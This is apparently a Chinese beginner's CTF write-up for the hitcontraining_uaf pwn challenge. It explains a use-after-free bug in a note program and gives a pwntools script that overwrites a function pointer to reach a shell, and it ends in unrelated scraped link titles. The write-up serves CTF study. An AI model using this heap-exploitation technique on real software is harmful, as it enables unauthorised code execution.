因为本人也是个菜鸡,这道题的反编译又很阴间,所以我花了比较长的时间读反编译代码,也是一步一步理解的整个过程,感觉有一些收获,所以就想写一个比较详细的wp,个人觉得是我看到的最详细的wp了。
请♂享♂用♂我♂吧

这是add函数,add一次会malloc两个chunk。
同时要注意,这里的notelist是一个二维数组。notelist[i]表示的其实是notelist[i][0](八个字节).后面还有一个notelist[i][1]。
我们看
notelist[i],他被赋值为print_note_content这个地址的函数。
notelist[i][1]才是真正存放chunk的content的地方。
为什么要把notelist[i]赋值为print_note_content这个地址的函数呢?
下面这个函数是print_note函数

可以发现,这个函数把
notelist[v2]作为函数调用,后面的notelist[v2]则是这个函数的参数。这个函数就是

打印一个chunk的content。
下面就是delete_note的代码

可以看到,释放一个note需要两个free,一个free掉notelist[i][0]一个free掉notelist[i][1]。但是这里free之后没有对指针进行置NULL操作,所以存在Use After Free漏洞。
前面的逆向分析有点长,但是我觉得是有必要的。

接下来开始漏洞的分析。
我们之前已经说过了,一个note分为两个字段,notelist[i][0]和notelist[i][1].我们把他们命名为put段和content段。
如果我们把一个note的put段变成magic函数

那么我们在调用菜单里的print_note函数的时候,是不是相当于调用了system(’/bin/sh’)呢?当时是的。但是因为我们只能对content部分进行操作,无法对put部分进行操作,所以我们要想办法,操作put段

接下来是漏洞利用过程:
申请note0(大小为0x40):包括put0和content0
申请note1 (大小为0x40) :包括put1和content1
释放note1:包括free content1 和free put1
释放note0:包括free content0 和free put0

重点!!!!!!!由于put段跟content段的大小是不同的,所以他们是在bin里面是两条链:如果你申请的chunk大小是0x8,那么是从put的那条链申请。如果你申请的chunk大小是0x40,那么就是从content的那条链申请。

动用你聪明的小脑袋瓜想一想,我们要申请到put段,那么我们下面的payload大小应该设置为多少呢?
当然是0x8啦

于是最后的操作如下:
申请note2(大小为0x8):则会申请一个put2一个content2.由于put2和content2大小都为0x8,所以都会从put那条链上面申请。
所以,put2申请到的是put0的位置,content2申请到的是put1的位置。

很明显了,我们往content2里面填入magic的地址,不就相当于往note1的put1里填入了magic?
那么我们在调用print_note(1)的时候,不就是调用了magic函数吗?
结束
代码如下

from pwn import *
from LibcSearcher import *#r=remote('node4.buuoj.cn','28300')
r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
libc = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']shell_addr=0x8048945def add(size,content):r.recvuntil("Your choice :")r.sendline("1")r.recvuntil("Note size :")r.sendline(str(size))r.recvuntil("Content :")r.sendline(str(content))def dele(idx):r.recvuntil("Your choice :")r.sendline("2")r.recvuntil("Index :")r.sendline(str(idx))def pri(idx):r.recvuntil("Your choice :")r.sendline("3")r.recvuntil("Index :")r.sendline(str(idx))add(0x40,'a'*10)
gdb.attach(r)
add(0x40,'b'*4)
dele(1)
dele(0)
add(0x8,p32(shell_addr))
pri(1)
r.interactive()

【CTF】【PWN】【UAF】【萌新友好向wp】hitcontraining_uaf相关推荐

  1. 【新手宝典】一篇博文带萌新建站并了解建站体系流程和对萌新友好的便捷方式,这篇博文很有可能是你的启蒙文

    前言 本片博文主要面向于还没接触过web开发的萌新,以及想知道整体流程并且完成建站的萌新:如果你是个大佬,就没必要看下去了. 本篇博文没有难啃的骨头,请各位萌新放心食用. 本篇博文采用通俗易懂的方式讲 ...

  2. 电子科大CTF安全萌新赛部分WP

    只做了WEB和MISC,下面是wp WEB XSS1 http://103.50.253.209/xss1/ F12一下看到这题是在input标签里XSS,所以先用">闭合value就 ...

  3. CTF.show:萌新专属红包题

    账号密码为admin和admin888. 登陆后进行抓包,然后再发一次得到flag 把flag进行md5转换一下

  4. CTF show萌新题系列

    题目地址:https://ctf.show 0X01 萌新_密码1 1.16进制转字符串 有很多网站可以实现,这里我也附上我的脚本: # author: 羽 def hex_to_str():whil ...

  5. BJD 2nd ctf大赛萌新wp

    BJD 2nd ctf大赛萌新wp 太打击人了,果然就是个萌新!! crypto 签到题 " QkpEe1czbGMwbWVfVDBfQkpEQ1RGfQ== " 显然base64 ...

  6. 萌新小白对ctf理解

    本人大学刚接触ctf一个多月. 对我来说ctf更像一个小游戏,出题人总是丧心病狂地将flag藏在不同的地方,有时候就算使出浑身解数都找不到的flag,吃个饭,会过头来才发现flag其实就常在最显眼却又 ...

  7. TAMU ctf pwn部分wp+赛后

    TAMU ctf pwn部分wp 国外的题目,终端连不上就很gan ga...... Tr*vial 大水题,栈溢出,ret2text exp from pwn import *context(arc ...

  8. CTF萌新入坑指南(web篇)(21.6.5已更新)

    图文来自Spirit现役最菜web选手k1ling 20.10.21 --最近忙的要死,校赛被锤爆,,然后课设又要结项,那几天肝代码到很晚,累die,然后答辩,被老师安排的明明白白(还好4.0了 不然 ...

  9. 我的世界基岩版种子和java版种子_我的世界:对萌新最友好的种子,基岩版通用,对老玩家也很适合!...

    很多萌新再知道了"种子"这东西之后,就会在MC的频道上询问大佬们,有没有适合萌新的种子,其实这个是有的,只是如果别人推荐种子的话,总觉得里面的东西已经被大家说完了,自己再去玩就没有 ...

最新文章

  1. 物理生力热实验不确定度计算源代码
  2. 用Ext-4.2简单实现分页效果
  3. verilog/VHDL实现JESD204B协议
  4. 编写properties文件的Eclipse插件
  5. 文本聚类分析算法_聚类分析算法综述
  6. PyTorch中hook函数的学习笔记
  7. 【Linux】04 实验笔记
  8. 微信公众号测试号接入微信公众平台开发----node.js
  9. MD5算法实战JS解密
  10. web运维:跨域(NGINX跨域配置为例)
  11. win10计算机自带的游戏怎么打开方式,win10自带游戏在哪里?手把手教你打开win10自带游戏...
  12. 在pycharm内给自己的代码设置签名,附加时间
  13. Android系统优化
  14. 人艰不拆~找实习之路(二)。
  15. C语言骑士与金币问题
  16. 郑州java工程师待遇怎么样_Java工程师工资待遇怎么样?
  17. QTcpSocket 及 TCP粘包分析
  18. 用计算机算出别人多少岁,年龄计算器 年龄计算器查询
  19. 我的第一个Android应用BMI-深入浅出Android
  20. 全球及中国贴片电容行业市场竞争态势及投资风险预测报告2022-2028年

热门文章

  1. java程序设计_堪称Java界的神书,实战JAVA程序设计,附电子版
  2. 关于C语言——结构体struct的大小是如何计算的
  3. 黄光裕减持国美零售:套现5亿港元 与张近东成难兄难弟
  4. Effective java 读书笔记( 三 )
  5. python wraps
  6. mysql on cascade_Mysql的on cascade
  7. 树莓派配置usb无线网卡
  8. VRRP协议简介与配置
  9. 3. 在WordPress管理后台撰写第一篇博客文章
  10. Flume的Sink类型